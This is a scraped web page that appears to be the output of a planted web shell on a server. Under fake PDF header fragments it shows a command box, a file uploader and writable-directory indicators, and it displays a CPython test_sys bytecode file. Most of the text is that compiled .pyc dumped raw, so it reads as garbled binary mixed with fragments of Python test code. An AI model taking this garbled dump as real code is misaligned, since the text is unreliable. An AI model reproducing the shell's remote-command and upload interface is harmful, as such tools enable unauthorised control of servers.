%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_sys.cpython-39.opt-1.pyc
a

�_g���@sddlmZddlmZmZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlZddlZdaGdd�dej�ZGdd�dej�ZGdd	�d	ej�ZejjGd
d�dej��ZejjGdd
�d
ej��Zedk�re��dS)�)�support)�assert_python_ok�assert_python_failureNc@s$eZdZdd�Zdd�Zdd�ZdS)�DisplayHookTestcCs�tj}t���}|d�Wd�n1s,0Y|�|��d�|�tjd�t`t���}|d�Wd�n1s~0Y|�|��d�|�t	td��|�
t|�tj}zt`|�
t
|d�W|t_n|t_0dS)N�*z42
��_)�sys�__displayhook__rZcaptured_stdout�assertEqual�getvalue�builtinsr�
assertTrue�hasattr�assertRaises�	TypeError�stdout�RuntimeError)�selfZdh�outr�r�,/vddos/python/lib/python3.9/test/test_sys.py�test_original_displayhooks 
&
&z)DisplayHookTest.test_original_displayhookcCs<tj}z(t`tddd�}|�tt|�W|t_n|t_0dS)N�42�<string>�single)r	�displayhook�compilerr�eval)rr�coderrr�test_lost_displayhook5sz%DisplayHookTest.test_lost_displayhookcCsTdd�}t�td|��*tddd�}|�tt|�Wd�n1sF0YdS)NcSst�dS�N��
ValueError)�objrrr�baddisplayhook?sz?DisplayHookTest.test_custom_displayhook.<locals>.baddisplayhookrrrr)r�	swap_attrr	rrr#r)rr%rrrr�test_custom_displayhook>sz'DisplayHookTest.test_custom_displayhookN)�__name__�
__module__�__qualname__rr r'rrrrrs	rc@s$eZdZdd�Zdd�Zdd�ZdS)�ExceptHookTestcCs�ztd��WnZtyf}zBt���}tjt���Wd�n1sH0YWYd}~n
d}~00|�|���d��|�	t
tj�dS)Nr�ValueError: 42
)r#r�captured_stderrr	�__excepthook__�exc_inforr�endswithrr�r�exc�errrrr�test_original_excepthookIs
Bz'ExceptHookTest.test_original_excepthookcCs�t����t�dt�ztdd��WnZty~}zBt���}tjt�	��Wd�n1s`0YWYd}~n
d}~00Wd�n1s�0Y|�
�}|�d|�|�d|�|�|�
d��dS)N�ignore�msg)sbytes_filename�{r�textz%  File "b'bytes_filename'", line 123
z	    text
zSyntaxError: msg
)�warnings�catch_warnings�simplefilter�BytesWarning�SyntaxErrorrr-r	r.r/r�assertInrr0r1rrr�test_excepthook_bytes_filenameTs

`z-ExceptHookTest.test_excepthook_bytes_filenamecCsPtj�d��}t�ddd�Wd�n1s00Y|�d|��v�dS)N�stderr��1zETypeError: print_exception(): Exception expected for value, str found)�testr�captured_outputr	�
excepthookrr)rr@rrr�test_excepthookes
,�zExceptHookTest.test_excepthookN)r(r)r*r4r?rFrrrrr+Gsr+c@seZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Ze	j
jd
d��Ze	j
jdd��Z
dd�Zdd�Ze�eed�d�dd��Ze	j
jdd��Zdd�Ze	j
jdd��Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Z d-d.�Z!d/d0�Z"e	j
jd1d2��Z#d3d4�Z$e�e	j
j%d5�e�e�&�e'�(d6�kd7�d8d9���Z)e�*ej+ej,kd:�d;d<��Z-ddd>d?�Z.d@dA�Z/dedBdC�Z0dDdE�Z1dFdG�Z2dHdI�Z3dJdK�Z4e	j
jdLdM��Z5e�eedN�dO�dPdQ��Z6dRdS�Z7dTdU�Z8dVdW�Z9e�eedX�dY�dZd[��Z:d\d]�Z;d^d_�Z<e�eed`�da�dbdc��Z=d=S)f�
SysModuleTestcCstj��dSr!)rCr�
reap_children�rrrr�tearDownqszSysModuleTest.tearDowncs��ttjdd���t��}t��Wd�n1s:0Y��|jj�tdd�\}}}��	|d���	|d���	|d���t��}t�d�Wd�n1s�0Y��	|jjd���t��}t�d�Wd�n1s�0Y��	|jjd���t��}t�d�Wd�n1�s:0Y��	|jjd���t��}t�d�Wd�n1�s�0Y��	|jjd�t
dd	�\}}}��	|d
���	|d���	|d��fdd�}|d
d�|dd�|dddd�dS)Nr�-czimport sys; sys.exit()r�)r�exit)��zraise SystemExit(47)�/csVtd|fi|��\}}}��|d���|d���|�|�dt|�t|�f�dS)NrKrArLz%s doesn't start with %s)rrr�
startswith�ascii)r�expectedZenv_vars�rcrr3rIrr�check_exit_message�s�z3SysModuleTest.test_exit.<locals>.check_exit_messagez?import sys; sys.stderr.write("unflushed,"); sys.exit("message")sunflushed,messagez)import sys; sys.exit("surrogates:\uDCFF")ssurrogates:\udcffzimport sys; sys.exit("h\xe9")sh�zlatin-1)�PYTHONIOENCODING)rrr	rM�
SystemExit�assertIsNone�	exceptionrrrr)r�cmrTrr3rUrrIr�	test_exittsJ&((**	���zSysModuleTest.test_exitcCs$|�ttjd�|�t��t�dS)Nr)rrr	�getdefaultencoding�assertIsInstance�strrIrrr�test_getdefaultencoding�sz%SysModuleTest.test_getdefaultencodingc	Cs�|�ttj�|�ttjd�|�ttjd�|�ttjd�t��}|�|dk|�z:ddd|fD]}t�|�|�t��|�qdWt�|�nt�|�0dS)N�ag�gg�?g�h㈵��>g�������?g@)rrr	�setswitchintervalr#�getswitchintervalrZassertAlmostEqual)rZorig�nrrr�test_switchinterval�s
z!SysModuleTest.test_switchintervalcCs^|�ttjd�t��}|�ttj�|�ttjd�t�d�|�t��d�t�|�dS)Nri���i')rrr	�getrecursionlimit�setrecursionlimitr#r)r�oldlimitrrr�test_recursionlimit�s
z!SysModuleTest.test_recursionlimitc	s�ttd�rt��r|�d�t��}�fdd��zVdD]B}zt�|�Wnty^Yq6Yn0|�t��|�t��q6Wt�|�nt�|�0dS)N�gettracez(fatal error if run with a trace functioncs
��dSr!rr��frrrk�sz5SysModuleTest.test_recursionlimit_recovery.<locals>.f)�
��2�K�d���)rr	riZskipTestrerf�RecursionErrorr)rrg�depthrrjr�test_recursionlimit_recovery�s

z*SysModuleTest.test_recursionlimit_recoveryc	s�ddlm����fdd��t��}zJt�d�dD],}|dkrJ|d}n|d	d
}�||�q4Wt�|�nt�|�0dS)Nr)�get_recursion_depthcsd��}||krV��t��}t�|�Wd�n1s80Y��t|j�d�n
�||�dS)Nz\cannot set the recursion limit to [0-9]+ at the recursion depth [0-9]+: the limit is too low)rrsr	rfZassertRegexr^rY)rt�limit�recursion_depthrZ�rvr�set_recursion_limit_at_depthrrrz�s(�zZSysModuleTest.test_setrecursionlimit_recursion_depth.<locals>.set_recursion_limit_at_depthrr)rlrmrnrorp���r|rn��)�_testinternalcapirvr	rerf)rrgrwrtrryr�&test_setrecursionlimit_recursion_depth�s

z4SysModuleTest.test_setrecursionlimit_recursion_depthcCs�t�d�}tj���^dD]H}tjtjd||gtj	d�}|�
�d}|�|j|j�|�
d|�qWd�n1sx0YdS)Nz�
            import sys

            def f():
                try:
                    f()
                except RecursionError:
                    f()

            sys.setrecursionlimit(%d)
            f())rnrrrK�r@rAsNFatal Python error: _Py_CheckRecursiveCall: Cannot recover from stack overflow)�textwrap�dedentrCrZSuppressCrashReport�
subprocess�Popenr	�
executable�PIPE�communicater�
returncoder>)rr�i�subr3rrr�test_recursionlimit_fatalerrors
��z,SysModuleTest.test_recursionlimit_fatalerrorcCsvtj�td�t��}|�t|�d�|�|dt�|�|dt�|�|dt�|�|dt�|�|dt	�|�
ttj
|d�|�|jt�|�|jt�|�|jt�|�|jt�|�|jt	�|�|jt�|�|jt�|�|jt�|�|jt�|�|d|j�|�|d|j�|�|d|j�|�|d|j�|�|d|j�t��\}}}}}dS)N�getwindowsversion�rrA�r}r~)rCr�
get_attributer	r�r�lenr]�intr^r�
IndexError�operator�getitem�major�minorZbuild�platformZservice_packZservice_pack_minorZservice_pack_majorZ
suite_maskZproduct_type)r�vZmaj�minZbuildnoZplatZcsdrrr�test_getwindowsversion+s0z$SysModuleTest.test_getwindowsversioncCs|�ttjtd�dS)Nr�)rrr	�call_tracing�typerIrrr�test_call_tracingIszSysModuleTest.test_call_tracing�setdlopenflagsztest needs sys.setdlopenflags()cCsf|�ttd��|�ttjd�t��}|�ttj�t�|d�|�t��|d�t�|�dS)N�getdlopenflagsrrA)rrr	rrr�r�r)rZoldflagsrrr�test_dlopenflagsLszSysModuleTest.test_dlopenflagscCsd|�ttj�t�d�}da|�t�d�|d�b|�t�d�|�ttd�r`|�t��t	�dS)NrA�gettotalrefcount)
rrr	�getrefcountrcrrr]r�r�)r�crrr�
test_refcountWs

zSysModuleTest.test_refcountcCs>|�ttjdd�|�ttjd�|�tjjt��j	u�dS)Nri�5w)
rrr	�	_getframer#rrG�
test_getframe�__code__�f_coderIrrrr�gs��zSysModuleTest.test_getframecsrddl�ddl}��������g��fdd�}����fdd���j|d�}|�����|�t��d��d}t�	�}|D]}|�
|t�|�|d�q���
�}|�||�|�||�|�|�}|�|t��u�|�|�}|�|�}	t|	�D]\}
\}}}
}|
dkr��q"q�|�d	�|�|d
�|	|
d\}}}
}|�|
d�|�|dd
g����|��dS)Nrcs
��dSr!rr)�g456rr�f123|sz/SysModuleTest.test_current_frames.<locals>.f123cs"������������dSr!)�append�	get_ident�set�waitr)�	entered_g�leave_g�thread_info�	threadingrrr�sz/SysModuleTest.test_current_frames.<locals>.g456)�targetrAr�z)didn't find f123() on thread's call stackzg456()r�zleave_g.wait()zentered_g.set())r��	traceback�Event�Thread�startr�rr�r	�_current_framesr]r��
assertGreaterr�r>�poprr��
extract_stack�	enumerateZfailr��join)rr�r��tZ	thread_id�d�tidZmain_id�frame�stackr��filename�lineno�funcnameZ
sourceliner)r�r�r�r�r�r�test_current_framespsB



z!SysModuleTest.test_current_framescCs(|�tjt�|�tjt�|�tjd�|�tjt	�|�tj
t�|�tjt�|�tj
t�|�tjt�|�ttj�d�|�tjjd�|�ttj�d�|�tjjddk�|�tjjdk�|�ttjj�t�|�ttjj�t�|�tjt�|�ttj�d�|�tjjdtjj�tdd�D]2}|�t|tjjdtjj�dd	�tjj���q6|�tjj t�|�tjj!t�|�tjj"t�t#�$d
�}tjj%dv�r(|�tjj&dd
h�|�tjj'hd��|dk�r�|�tjj%d�n0|dk�r|�tjj%d�n|�tjj%ddh�n|�|d�|�(tjj)d�|�tjj)d�|�tj*t�|�tj+t�|�tj+d�|�tj,t�|�tj-t�|�tj.t�|�tj/t�|�tj0t�tj1}|�|dd�t	�|�t|�d�|�|dt�|�|dt�|�|dt�|�|dd�|�|dt�|�|j2t�|�|j3t�|�|j4t�|�|j5d�|�|j6t�|�|d|j2�|�|d|j3�|�|d|j4�|�|d|j5�|�|d|j6�|�|dk�|�tj7t�|�tj7d�tj,�8d��s$|�tj9t�dS)N)�little�big�r�r�rrA�	rpz'sys.hash_info.modulus {} is a non-primeZPy_HASH_ALGORITHM>�fnv�	siphash24� �@>r�r��r�r��i��r}��alpha�beta�	candidate�finalr~)rArr)Zshort�legacy�win):r]r	�api_versionr��argv�listr>�	byteorder�builtin_module_names�tuple�	copyrightr^�exec_prefix�base_exec_prefixr�rr��
float_info�radix�int_infor�bits_per_digit�sizeof_digitr��
hexversion�	hash_info�
assertLess�modulus�width�range�pow�format�inf�nan�imag�	sysconfigZget_config_var�	algorithm�	hash_bits�	seed_bits�assertGreaterEqual�cutoff�maxsize�
maxunicoder��prefix�base_prefix�
platlibdir�version�version_infor�r��micro�releaselevel�serial�float_repr_stylerQ�abiflags)r�xZalgo�virrr�test_attributes�s���


zSysModuleTest.test_attributescCs6tj}|�t|�d�|�|jd�|�|jd�dS)Nr})�ntZpthreadZsolarisN)�	semaphorez
mutex+condN)r	r�rr�r>�name�lock)r�inforrr�test_thread_infoszSysModuleTest.test_thread_infocCs|�tjjtjj�dSr!)rr	�
__stdout__�encoding�
__stderr__rIrrr�
test_43581	szSysModuleTest.test_43581cCs~td7a|�ttj�dtt�}|�t�|�|u�|����}|�t�|�|u�Gdd�dt�}|�ttj|d��dS)NrAznever interned beforec@seZdZdd�ZdS)z$SysModuleTest.test_intern.<locals>.ScSsdS)Nr7rrIrrr�__hash__sz-SysModuleTest.test_intern.<locals>.S.__hash__N)r(r)r*rrrrr�Ssr�abc)�INTERN_NUMRUNSrrr	�internr^r�swapcase)r�s�s2rrrr�test_internszSysModuleTest.test_interncCs�|�tj�d}|D]B}|�ttj|�|�|dkr8tnt}|�tttj|��||�q|�t	tj��|�t
tj�t
|��|�tjjhd��dS)N)�debug�inspect�interactive�optimize�dont_write_bytecode�no_user_site�no_site�ignore_environment�verbose�
bytes_warning�quiet�hash_randomization�isolated�dev_mode�	utf8_moder'>rrAr�)
rr	�flagsr�boolr�rr��getattr�reprr�r>r()r�attrs�attr�	attr_typerrr�test_sys_flags"szSysModuleTest.test_sys_flagscCspt|�}|�t��|�Wd�n1s.0Y|�t��|�|�Wd�n1sb0YdSr!)r�rr�__new__)rZsys_attrr/rrr�assert_raise_on_new_sys_type2s
$z*SysModuleTest.assert_raise_on_new_sys_typecCs|�tj�dSr!)r2r	r)rIrrr�test_sys_flags_no_instantiation;sz-SysModuleTest.test_sys_flags_no_instantiationcCs|�tj�dSr!)r2r	r�rIrrr�&test_sys_version_info_no_instantiation>sz4SysModuleTest.test_sys_version_info_no_instantiationcCs tj�td�|�t���dS)Nr�)rCrr�r	r2r�rIrrr�+test_sys_getwindowsversion_no_instantiationAsz9SysModuleTest.test_sys_getwindowsversion_no_instantiationcCst��dSr!)r	�_clear_type_cacherIrrr�test_clear_type_cacheFsz#SysModuleTest.test_clear_type_cachecCs�ttj�}d|d<tjtjddgtj|d�}|��d�	�}dtj
�d�}|�||�d|d<tjtjddgtj|d�}|��d�	�}|�|d	�d
|d<tjtjddgtjtj|d�}|��\}}|�|d�|�
d
|�|�
d|�d|d<tjtjddgtjtj|d�}|��\}}|�|d�|�
d
|�|�
d|�d|d<tjtjddgtj|d�}|��d�	�}|�|d�dS)N�cp424rVrKzprint(chr(0xa2))�r�envr�¢z
ascii:replace�?rR)rr@r:rLsUnicodeEncodeError:s'\xa2'zascii:z:surrogateescapezprint(chr(0xdcbd))��)�dict�os�environr�r�r	r�r�r��strip�linesep�encoderr>)rr:�prrSr3rrr�test_ioencodingJsL
�����zSysModuleTest.test_ioencodingz*requires OS support of non-ASCII encodingsFz$requires FS encoding to match localecCs^ttj�}d|d<tjtjddtjj	gtj
|d�}|��d��}|�
|t�tjj	��dS)NrrVrKz	print(%a)r9r)r>r?r@r�r�r	r�rCr�FS_NONASCIIr�r�rAr�fsencode)rr:rDrrrr�test_ioencoding_nonasciius


��z&SysModuleTest.test_ioencoding_nonasciizTest is not venv-compatiblec	Cs�|�tj�tj�tj�tj�tj�tj��}tj	gd�tjtj
|d�}|��d}|���
d�}|��|�|dttj�dd��g�dS)N)ZnonexistentrKzEimport sys; print(sys.executable.encode("ascii", "backslashreplace")))r�r�cwdr�ASCIIzb''rR�backslashreplace)rr?�path�abspathr	r��dirname�realpathr�r�r�r�rA�decoder�r>r,rC)rZ
python_dirrDrr�rrr�test_executable�s
�zSysModuleTest.test_executableNcCs(|�|�t�|�|r$|�||�dSr!)ZassertIsNotNone�codecs�lookupr�rZfs_encodingrSrrr�check_fsencoding�s

zSysModuleTest.check_fsencodingcCs,t��}tjdkrd}nd}|�||�dS)N�darwinzutf-8)r	�getfilesystemencodingr�rUrTrrr�test_getfilesystemencoding�s

z(SysModuleTest.test_getfilesystemencodingc
Cs�tj��}||d<d|d<d�d�}tjddd|g}|rB|�d	�|durT||d
<n|�d
d�tj	|tj
tj|dd�}|��\}}	|S)
N�LC_ALL�0ZPYTHONCOERCECLOCALE�
)�
import syszdef dump(name):z    std = getattr(sys, name)z(    print("%s: %s" % (name, std.errors))z
dump("stdin")zdump("stdout")zdump("stderr")z-Xzutf8=0rKz-IrVT)rr@r:�universal_newlines)
r?r@�copyr�r	r�r�r�r�r�r��STDOUTr�)
r�localer&rr:r�argsrDrr@rrr�c_locale_get_error_handler�s$

	

�z(SysModuleTest.c_locale_get_error_handlercCs�|j|dd�}|�|d�|j|dd�}|�|d�|j|dd�}|�|d�|j|d	d�}|�|d�|j|d
d�}|�|d�|j|dd�}|�|d�dS)NT)r&zHstdin: surrogateescape
stdout: surrogateescape
stderr: backslashreplace
z:ignore)rz6stdin: ignore
stdout: ignore
stderr: backslashreplace
z	iso8859-1z6stdin: strict
stdout: strict
stderr: backslashreplace
z
iso8859-1:�:r)rbr)rr`rrrr�check_locale_surrogateescape�s0������z*SysModuleTest.check_locale_surrogateescapecCs|�d�dS)N�C�rdrIrrr�test_c_locale_surrogateescape�sz+SysModuleTest.test_c_locale_surrogateescapecCs|�d�dS)NZPOSIXrfrIrrr�!test_posix_locale_surrogateescape�sz/SysModuleTest.test_posix_locale_surrogateescapecCs�ddddd�}|�ttjd��|�ttjd��|�ttjd��|�ttjd	��tjj}|�|dd
�|j|jf�|jd>|jd>B|jd
>B||j	d>B|j
d>B}|�tjj|�|�tjjtjj�
��dS)Nrlr���r�r	r�r��	cache_tagr���r�r~r)rrr	�implementationr�rr�r�r�rrr�r	�lower)rZlevelsr�r�rrr�test_implementation�s$���

�z!SysModuleTest.test_implementationcCsBddlm}ddg}||�\}}}|�d|�|�ttjd�dS)Nr)rrKz#import sys; sys._debugmallocstats()sfree PyDictObjectsT)�test.support.script_helperrr>rrr	�_debugmallocstats)rrra�retrr3rrr�test_debugmallocstatss
z#SysModuleTest.test_debugmallocstats�getallocatedblocksz0sys.getallocatedblocks unavailable on this buildc
Cszddl}Wnty&t��}Yn@0z|��}Wn(ty\}zd}WYd}~nd}~00|dv}t��}|�t	|�t
�|r�|�|d�n|�|d�z|�
|t���Wnty�Yn0t��t��}|�||�t��t��}|�|t|d|d��dS)NrT)ZpymallocZpymalloc_debugrn)�	_testcapi�ImportErrorr�
with_pymallocZpymem_getallocatorsnamerr	ru�assertIsr�r�r�r�r�r��AttributeError�gcZcollectZassertLessEqualr>r�)rrvrxZ
alloc_namer2r`�br�rrr�test_getallocatedblockss0z%SysModuleTest.test_getallocatedblockscCs8|�t��d�d}td|�\}}}|�|��d�dS)NFa�if 1:
            import sys

            class AtExit:
                is_finalizing = sys.is_finalizing
                print = print

                def __del__(self):
                    self.print(self.is_finalizing(), flush=True)

            # Keep a reference in the __main__ module namespace, so the
            # AtExit destructor will be called at Python exit
            ref = AtExit()
        rKsTrue)ryr	�
is_finalizingrr�rstrip�rrrTrr@rrr�test_is_finalizing:sz SysModuleTest.test_is_finalizingcCs@d}td|�\}}}|��}|�d|d�|�d|d�dS)Nz�if 1:
            import sys
            class A:
                def __del__(self, sys=sys):
                    print(sys.flags)
                    print(sys.float_info)
            a = A()
            rKs	sys.flagsrssys.float_inforA)r�
splitlinesr>�rrrTrr3rrr�test_issue20602Os
zSysModuleTest.test_issue20602cCsDd}td|�\}}}|�|d�|�|��d�|�|��d�dS)Nz�if 1:
            import struct, sys

            class C:
                def __init__(self):
                    self.pack = struct.pack
                def __del__(self):
                    self.pack('I', -42)

            sys.x = C()
            rKrrL)rrrr�rrr�&test_sys_ignores_cleaning_up_user_data^s
z4SysModuleTest.test_sys_ignores_cleaning_up_user_data�getandroidapilevelzneed sys.getandroidapilevel()cCs$t��}|�|t�|�|d�dS)Nr)r	r�r]r�r�)r�levelrrr�test_getandroidapilevelosz%SysModuleTest.test_getandroidapilevelcs�d���fdd�}gd�}|d|�|d|�|d|dd�|dd��|d|dd�|dd��|d	|d
g�|d
|d
g�|dd>|�|d
d>|d
g�|d|�dS)Nz�if 1:
            import sys
            def f1():
                1 / 0
            def f2():
                f1()
            sys.tracebacklimit = %r
            f2()
        cs<tjtjd�|gtjd�}|��d}��|��|�dS)NrKr�rA)r�r�r	r�r�r�rr�)�tracebacklimitrSrDr�rrrr�check�s
�z4SysModuleTest.test_sys_tracebacklimit.<locals>.check)s"Traceback (most recent call last):s&  File "<string>", line 8, in <module>s   File "<string>", line 6, in f2s   File "<string>", line 4, in f1s#ZeroDivisionError: division by zerorlr}r�rAr���rrr)rr�r�rr�r�test_sys_tracebacklimitvs	

z%SysModuleTest.test_sys_tracebacklimitcCs |�ttj�tttj���dSr!)rr�r	�	meta_pathr�rIrrr�test_no_duplicates_in_meta_path�sz-SysModuleTest.test_no_duplicates_in_meta_pathZ_enablelegacywindowsfsencodingz*needs sys._enablelegacywindowsfsencoding()cCs:d}tdd�|��\}}}|�dd���}|�|d�dS)N)r\z$sys._enablelegacywindowsfsencoding()zCprint(sys.getfilesystemencoding(), sys.getfilesystemencodeerrors())rKz; rR�replacezmbcs replace)rr�rPrrr�rrr�#test__enablelegacywindowsfsencoding�sz1SysModuleTest.test__enablelegacywindowsfsencoding)N)FN)>r(r)r*rJr[r_rdrhrurCr�cpython_onlyr�r�r�r��unittestZ
skipUnlessrr	r�Z
refcount_testr�r�Zreap_threadsr�rrrrr0r2r3r4r5r7rErFrWr`�getpreferredencodingrHZskipIfr�r�rQrUrXrbrdrgrhrprtr}r�r�r�r�r�r�r�rrrrrGos�B	
#
�
	
	
@R	
+
��
�


&

�
'�
!�rGc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�UnraisableHookTestcCsTddl}ddl}d|��}z.|�|||�|jt|�||j||d�Wd}Sd}0dS)Nr�Exception ignored )�exc_type�	exc_value�
exc_traceback�err_msg�object)rv�types�write_unraisable_exc�SimpleNamespacer��
__traceback__)rr2r�r$rvr�Zerr_msg2rrrr��s

��z'UnraisableHookTest.write_unraisable_exccCsdD]�}|j|d���d}tj�d��T}tj�tdtj��"|�td�||�Wd�n1sb0YWd�n1s�0Y|�	�}|dur�|�
d|�d|�d	�|�n|�
d
|�d	�|�|�
d|�|�
d|�Wd�q1s�0YqdS)
N)Nz
original hook)r�z	an objectr@�unraisablehookrr�z: r[zException ignored in: �#Traceback (most recent call last):
r,)�subTestrCrrDr&r	�__unraisablehook__r�r#rr>)rr�r$r@r3rrr�test_original_unraisablehook�s
�Nz/UnraisableHookTest.test_original_unraisablehookcs\Gdd�d�}Gdd�dt��G�fdd�d�}||fD�]}|�|���|�}tj���D}tj�tdtj��~Wd�n1s�0YWd�n1s�0Y|��}|�	d|�|�	|j
j|�|�	d	|�|�	d
|�||u�r|�	d|�|�	d|�n|�	d|�|�	d
|�|�|�
d��Wd�q81�sL0Yq8dS)Nc@seZdZdd�ZdS)zFUnraisableHookTest.test_original_unraisablehook_err.<locals>.BrokenDelcSstd�}|�dS)N�
del is brokenr"�rr2rrr�__del__�szNUnraisableHookTest.test_original_unraisablehook_err.<locals>.BrokenDel.__del__N�r(r)r*r�rrrr�	BrokenDel�sr�c@seZdZdd�ZdS)zOUnraisableHookTest.test_original_unraisablehook_err.<locals>.BrokenStrExceptioncSstd��dS)Nzstr() is broken��	ExceptionrIrrr�__str__�szWUnraisableHookTest.test_original_unraisablehook_err.<locals>.BrokenStrException.__str__N)r(r)r*r�rrrr�BrokenStrException�sr�cseZdZ�fdd�ZdS)zOUnraisableHookTest.test_original_unraisablehook_err.<locals>.BrokenExceptionDelcs��}|�dSr!rr��r�rrr��szWUnraisableHookTest.test_original_unraisablehook_err.<locals>.BrokenExceptionDel.__del__Nr�rr�rr�BrokenExceptionDel�sr�r�zException ignoredztest_sys.pyz	raise excz<exception str() failed>r#r�r[)r�r�rCrr-r&r	r�rr>r�r*rr0)rr�r�Z
test_classr$r@�reportrr�r� test_original_unraisablehook_err�s.
��>
z3UnraisableHookTest.test_original_unraisablehook_errc	Csrtd�}tj�tdtj��D|�t��t�|�Wd�n1sF0YWd�n1sd0YdS)Nrr�)	r#rCrr&r	r�rrr�r�rrr�'test_original_unraisablehook_wrong_type�s
�z:UnraisableHookTest.test_original_unraisablehook_wrong_typecs�d��fdd�}t�}zztj�td|��N|�td�d|�}d��D]"}|�t	�|�t	||��|f�qDWd�n1s|0YWd}d�n
d}d�0dS)Ncs|�dSr!r�ra�Z	hook_argsrr�	hook_func�sz@UnraisableHookTest.test_custom_unraisablehook.<locals>.hook_funcr�rzcustom hookz/exc_type exc_value exc_traceback err_msg object)
r�rCrr&r	r�r#�splitrr+)rr�r$rSr.rr�r�test_custom_unraisablehook�s"
��&�z-UnraisableHookTest.test_custom_unraisablehookc	Cs�dd�}tj�d��R}tj�td|��"|�td�dd�Wd�n1sN0YWd�n1sl0Y|��}|�d|�d�|�|�d	|�|�d
|�dS)NcWstd��dS)Nzhook_func failedr�r�rrrr�szEUnraisableHookTest.test_custom_unraisablehook_fail.<locals>.hook_funcr@r�rzcustom hook failz)Exception ignored in sys.unraisablehook: r[r�zException: hook_func failed
)	rCrrDr&r	r�r#rr>)rr�r@r3rrr�test_custom_unraisablehook_fail
s
�@��z2UnraisableHookTest.test_custom_unraisablehook_failN)	r(r)r*r�r�r�r�r�r�rrrrr��s)r�csleZdZdd�ZejjZdd�Zdd�Zdd�Z	�fd	d
�Z
dd�Zd
d�Zdd�Z
dd�Zdd�Z�ZS)�
SizeofTestcCs*t�d�|_tjj|_ddl}|j|_	dS)N�Pr)
�struct�calcsizer�r	r�r��	longdigitrZSIZEOF_PYGC_HEAD�gc_headsize)rrrrr�setUp!s
zSizeofTest.setUpcCsHtjj}|j}|�t�d�|d�|j�|�t�g�|d�|�dS)NTr�Pn)rCr�calcvobjsizer�rr	�	getsizeofr�)r�vsizeZgc_header_sizerrr�test_gc_head_size)szSizeofTest.test_gc_head_sizecCs�Gdd�d�}|�ttj|��Gdd�d�}|�ttj|��dg}|�t�|�|�|�Gdd�d�}|�ttj|��|�t�|�|�|�Gdd	�d	t�}|�t�|tj��tj|j	�|�t
��$t�|tjd
��Wd�n1s�0Y|�t��t�|d��Wd�n1�s00Y|�tt
f��&t�|tjd
��Wd�n1�sv0YdS)Nc@seZdZdd�ZdS)z)SizeofTest.test_errors.<locals>.BadSizeofcSst�dSr!r"rIrrr�
__sizeof__4sz4SizeofTest.test_errors.<locals>.BadSizeof.__sizeof__N�r(r)r*r�rrrr�	BadSizeof3sr�c@seZdZdd�ZdS)z-SizeofTest.test_errors.<locals>.InvalidSizeofcSsdSr!rrIrrrr�9sz8SizeofTest.test_errors.<locals>.InvalidSizeof.__sizeof__Nr�rrrr�
InvalidSizeof8sr��sentinelc@seZdZdd�ZdS)z+SizeofTest.test_errors.<locals>.FloatSizeofcSsdS)Ng@rrIrrrr�@sz6SizeofTest.test_errors.<locals>.FloatSizeof.__sizeof__Nr�rrrr�FloatSizeof?sr�c@seZdZdd�ZdS)z.SizeofTest.test_errors.<locals>.OverflowSizeofcSst|�Sr!)r�rIrrrr�Fsz9SizeofTest.test_errors.<locals>.OverflowSizeof.__sizeof__Nr�rrrr�OverflowSizeofEsr�rAr�)rr#r	r�rryr�rr�r��
OverflowError)rr�r�r�r�r�rrr�test_errors2s&
�2.zSizeofTest.test_errorscCsFtjj}|�t�d�|d�|j�|�t�dd�|d�|j�dS)NTrr�)rCrr�rr	r�r�)r�sizerrr�test_defaultQszSizeofTest.test_defaultc'	sJ	tj}tjj�tjj}�j��d|d��j��t�d��dddg}|D]"}t	|�}�||d�|�
��qN�tt	���d���d|d	�d
��d|d	�d�d
d�}�|�jd�d���fdd�}||�j
�d��||j
�d��dd�}||j
�d�|d	���tdd
��d���tj�d��ddl}	�|	jj�d��ddl}
�|
jj�d���tj�d���ij�d���i�d���dd
i�d�|d�dd|d ��d
d!d"d#dd$d%dd&�}�|�d�|d�d'd(|d ���i���d���i���d���i���d���ti��d)���ti����d)���ti����d)���ti����d)��Gd*d+�d+t�}�|j�d���t��d,���t ddddd��d-���t!ddddd��d-���t"ddd
d��d-���t#�d��ddl$}
ddl%}|
�&|j'j(�}�|�d.���t)g��d/���t*d��d���t+d��d0���t,j-|d��j.tt,j-��ddl/}d1}|�0�}t|j1j2�}t|j1j3�}|j1j4|j1j5||d
}�||d2|d3d|d��d4d5�}�|�d6��G��fd7d8�d8�}d9d:�}�|��d;���td<��d=��ddl6}�|�7dd��d��ggd>�gd?�g}|D]&}�t8|�|d@�t|��j.��q��tg��d=���t*g��d���d|d���d
|d��j��dA|d��j�d!t,j9j:}�t|�|d�d!�j��t|d!d
�|d�d!�j��t|d!�|d�d"�j��t;�dB���d�d���t<�d���t��d��G��fdCd+�d+t�}�tt=d
���dD���t*d��d���t=d
��dE���t=dF��dE��d}gt=d(�t=dG�g}�dH|ddI�}|D]�}t|�}|dk�r\d
}|d!}|}||k�r~|d
>}�qh|dk�r��t>|�|��t?|�|�n4�t>|�|||d���t?|�|||d���qB�tt>���dJ���t@d��dK���tAt��dK���dL|d���d>|d�d"�j.�dM}||�}�t|�||dN�}GdOdP�dPt�}�|||dQ�dd|d ���|�j�d�d�j.�|�} d
| _B| _C| _D| _E| _F| _G| _H| _I�|||dQ�d'd(|d ���|�j�d�d(�j.�gdR�}dS}!|!dT}"|"d}#|D]�}tJtK|��}$|$dUk�rp�|!�t|�d
}%n\|$dVk�r��|"�t|�d
